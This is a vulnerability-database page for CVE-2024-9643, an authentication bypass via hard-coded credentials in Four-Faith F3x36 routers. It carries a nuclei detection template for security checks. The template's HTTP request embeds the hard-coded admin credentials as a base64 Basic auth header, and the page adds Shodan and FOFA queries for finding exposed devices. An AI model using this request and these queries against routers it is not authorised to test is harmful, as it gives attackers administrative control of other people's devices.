HexBrain

Browse / CVEs / CVE-2024-9643

CVE-2024-9643· four-faith / f3x36· CWE-798

Four-Faith F3x36 - Authentication Bypass

criticalseverity
9.8CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Four-Faith F3x36 router with firmware v2.0.0 contains an authentication bypass caused by hard-coded credentials in the administrative web server, letting attackers with knowledge of credentials gain administrative access via crafted HTTP requests.

Impact

Attackers can gain unauthorized administrative access, potentially leading to full control over the device.

Fix

Update to the latest firmware version provided by the vendor to fix hard-coded credential issues.

How to confirm it

Send: GET /Status_Router.asp
Positive when: status_code == 200 and contains_all(body, "Four-Faith","Status") and contains(server, "httpd_four-faith")

Run it with nuclei: nuclei -id CVE-2024-9643 -u <target>

The full check
id: CVE-2024-9643

info:
  name: Four-Faith F3x36 - Authentication Bypass
  author: trader642
  severity: critical
  description: |
    Four-Faith F3x36 router with firmware v2.0.0 contains an authentication bypass caused by hard-coded credentials in the administrative web server, letting attackers with knowledge of credentials gain administrative access via crafted HTTP requests.
  impact: |
    Attackers can gain unauthorized administrative access, potentially leading to full control over the device.
  remediation: |
    Update to the latest firmware version provided by the vendor to fix hard-coded credential issues.
  reference:
    - https://vulncheck.com/advisories/four-faith-hard-coded-creds
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1752
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9643
    epss-score: 0.03014
    epss-percentile: 0.8754
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 1
    vendor: four-faith
    product: f3x36
    shodan-query: "Four-Faith"
    fofa-query: body="Four-Faith"
  tags: cve,cve2024,four-faith,default-login,router,iot,auth-bypass,vkev

http:
  - raw:
      - |
        GET /Status_Router.asp HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic ZmZhZG1pbjpmZmFkbWluZmY=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Four-Faith","Status")'
          - 'contains(server, "httpd_four-faith")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from